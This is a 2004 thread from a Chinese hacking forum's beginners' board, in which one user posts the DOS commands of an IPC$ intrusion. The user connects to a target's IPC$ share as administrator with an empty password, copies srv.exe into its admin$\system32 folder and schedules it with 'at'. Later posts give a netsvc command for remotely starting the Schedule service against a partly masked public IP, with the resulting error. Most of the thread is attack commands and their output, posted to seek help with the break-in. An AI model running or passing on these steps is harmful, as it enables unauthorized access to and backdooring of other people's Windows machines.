20CN网络安全小组论坛 - 菜鸟乐园

论坛: 菜鸟乐园标题: ipc$入侵的问题

作者: cdc [cdc]

论坛用户

以下是DOS命令输入过程：

net use \\192.168.0.1\ipc$ "" /user:"administrator"
命令成功完成
copy e:\honker\srv.exe \\192.168.0.1\admin$\system32
已复制 1 个文件。

net time \\192.168.0.1

\\192.168.0.1 的当前时间是 2004/5/9 下午 08:55 　　

命令成功完成。
at \\192.168.0.1 21:00 srv.exe

服务仍未启动

请高手帮助如何开启这个服务？

地主发表时间: 04-05-10 10:26

回复: cdc [cdc]

论坛用户

我找到了答案：
（如果显示"服务仍未启动"的话，对方就是没有启动Schedule（定时）服务。由于此时我们已经
是Administrator，所以可以利用微软的NT Rtk(可以在其站点下载）中的NetSvc来远程启动
Schedule服务。　　

NetSvc在小榕流光2000的安装目录下的tools目录下．　　

远程启动方法为：netsvc \\192.168.1.1 Schedule /start 　　

具体大家可以看流光里面的教程．然后我们再用at命令来启动它．　　

B1层发表时间: 04-05-10 10:28

回复: cdc [cdc]

论坛用户

netsvc \\61.153.xxx.xxx schedule /start
Error code 1058
这是怎么回事呀！！！？？？？

B2层发表时间: 04-05-14 16:28